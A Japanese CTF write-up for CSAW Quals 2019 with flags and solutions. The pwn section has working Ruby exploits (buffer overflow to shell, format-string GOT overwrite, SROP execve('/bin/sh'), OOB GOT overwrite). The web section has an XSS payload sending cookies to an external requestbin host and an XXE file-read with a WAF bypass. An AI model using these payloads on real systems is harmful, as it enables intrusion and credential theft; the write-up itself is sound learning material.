Csaw2019 writeup

Misc

mcgriddlev2

  • 問題文にFLAGが記載されている
  • flag{W3lcome_7o_CSAW_QUALS_2019!}

Pwn

baby_boi (50pt)

  • シンプルなBOFでIPが奪える問題
  • libcのアドレスを出力してくれているので、配布されたlibcでオフセット求めてOne-Gadget に飛ばしてシェルを奪う
#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwn'
$z = Sock.new "localhost", 8888
$z = Sock.new "pwn.chal.csaw.io", 1005
libc = ELF.new "./libc-2.27.so"
#libc = ELF.new "/lib/x86_64-linux-gnu/libc-2.29.so"
def z; $z; end
z.recvuntil("\n")
libc_printf = z.recvuntil("\n").match(/: (.+)/)[1].to_i(16)
libc_base = libc_printf - libc.symbols["printf"]
puts "%x" % libc_base
payload = "A" * 40
payload << p64(libc_base + 0x4f322)
z.sendline(payload)
z.interact
  • flag{baby_boi_dodooo_doo_doo_dooo}

GOT Milk? (50pt)

  • 独自の共有オブジェクトとバイナリが配られる
  • set LD_LIBRARY_PATH ./ でカレントディレクトリの共有オブジェクトを見るようにする
  • FSBがあるので、それを使ってGOT Overwriteする
#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwn'
require 'fsa'
#$z = Sock.new "localhost", 8888
$z = Sock.new "pwn.chal.csaw.io", 1004
def z; $z; end
value = 0x89
fmt = FSA.new()
fmt[0x804a010] = value
payload = fmt.payload(7) # index of argument
puts z.recvuntil("? ")
z.sendline(payload)
puts z.recv
  • flag{y0u_g00000t_mi1k_4_M3!?}

small_boi (100pt)

  • statically linked でstrippedな小さなバイナリが与えられる
  • sig_return システムコールを呼ぶようなraxの設定のされ方があるのと自明なBOFがあるので、Sigreturn ROP (SROP) で execve("/bin/sh", 0, 0) を実行する
    • SROPは、スタックの値を使ってsig_return実行時にレジスタの値を代入する攻撃
    • これを使ってrdiやrsi、ripなどが設定できるため任意のシステムコールを呼べる
#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwn'
#$z = Sock.new "localhost", 8888
$z = Sock.new "pwn.chal.csaw.io", 1002
def z; $z; end
payload = "\x00" * 0x28
payload << p64(0x40017c)
payload << p64(0x0) * 4
payload << p64(0x0) * 8 # r8~r15
payload << p64(0x4001ca) # rdi = /bin/sh
payload << p64(0) # rsi
payload << p64(0) # rbp
payload << p64(0) # 
payload << p64(0) # 
payload << p64(0x3b) # rax = 0x3b 
payload << p64(0) # rcx
payload << p64(0)   # rsp
payload << p64(0x00400185) # rip = syscall
payload << p64(0x0) # eflags
payload << p16(0x33) # cs
payload << p16(0)
payload << p16(0)
payload << p16(0x2b) # ss
payload << p64(0x0) * 5 # err ~ union
payload << p64(0x0) * 8 # reserved[8]
z.sendline payload
z.interact
  • flag{sigrop_pop_pop_pop}

traveller

  • 解けなかったのでwriteupを見た
  • Off-by-oneがあるためHeap問題かと思ったら操作対象のインデックスの入力に負数が入力できるOOB問題
  • 編集コマンドで、-50 をするとfree@gotを書き換えられたのでこれを使ってcat_flag関数に飛ばす
#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwn'
$z = Sock.new "pwn.chal.csaw.io", 1003
#elf = ELF.new "./traveller"
#libc = ELF.new "./libc-2.23.so"
context.log_level = :debug
def z; $z; end
def add(dist, dest)
  z.sendline "1"
  z.recvuntil "> "
  z.sendline dist.to_s
  z.recvuntil ": "
  z.sendline dest
  z.recvuntil "> "
end
def change(dist, dest)
  z.sendline "2"
  z.recvuntil ": "
  z.sendline dist.to_s
  z.send dest
  z.recvuntil "> "
end
def delete(dist)
  z.sendline "3"
  z.recvuntil ": "
  z.sendline dist.to_s
  z.recvuntil "> "
end
def check(dist)
  z.sendline "4"
  z.recvuntil ">"
  z.sendline dist.to_s
  return z.recvuntil "> "
end
tmp = z.recvuntil "> "
stack_address = tmp.match(/.\n(.*) \n\n/)[1].to_i(16)
add(1, "AAAAAAAA")
change(-50, p64(0x4008b6))
puts delete(0)
  • flag{h0pe_y0u_3nj0y_ur_j0urn3y}

Rev

Beleaf

  • バイナリ中にFLAGに使われる文字列とインデックスの配列があるので、それを引っこ抜いてきて実行する
#!/usr/bin/env ruby

idxs = [0x1, 0x9, 0x11, 0x27, 0x02, 0x00, 0x12, 0x03, 0x8, 0x12, 0x9, 0x12, 0x11, 0x1, 0x3, 0x13, 0x4, 0x3, 0x5, 0x15, 0x2e, 0xa, 0x3, 0xa, 0x12, 0x3, 0x1, 0x2e, 0x16, 0x2e, 0xa, 0x12, 0x6]

flag = [0x77, 0x66, 0x7b, 0x5f, 0x6e, 0x79, 0x7d, 0x20, 0x62, 0x6c, 0x72, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x65, 0x69, 0x20, 0x6f, 0x74, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x67, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75].map(&:chr)

idxs.each do |i|
  print flag[i]
end
  • flag{we_beleaf_in_your_re_future}

Web

baby csp

  • CSPが有効なXSS問題
    • default-src 'self'; script-src 'self' *.google.com; connect-src *
  • 上記のCSPからJSONPエンドポイントでのXSSを使う
  • FLAGは、Cookieにあるので、requestbin を使ってPOSTさせるJavaScriptを埋め込む
  • <script src="https://accounts.google.com/o/oauth2/revoke?callback=navigator.sendBeacon('http://requestbin.net/r/ugix54ug', document.cookie)"></script>
  • flag{csp_will_solve_EVERYTHING}

unagi

  • 解けなかったのでwriteupを見た
  • XMLがアップロードできるので、XXEだとわかるが、WAFがありいくつかのキーワード(ENTITYやSYSTEMなど)が使えない
    • PUBLIC は使えたりした
  • 結論としては、UTF-8ではなくUTF-16BEでアップロードすればWAFをBypassできるというものだった
    • 試してたが、普通にXXEとしてうまくないファイルだったためこの方針を諦めてしまっていたのが解けない原因っぽい
  • cat x.xml | iconv -f UTF-8 -t UTF-16BE > x_utf-16.xml などで作成してアップロードする
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY pass SYSTEM "file:///flag.txt">
]>
<users>
  <user>
    <username>alice2</username>
    <password>passwd1</password>
    <name>Alice2</name>
    <email>alice2@fakesite.com</email>
    <group>CSAW2019</group>
    <intro>&pass;</intro>
  </user>
</users>
  • flag{n0w_i’m_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}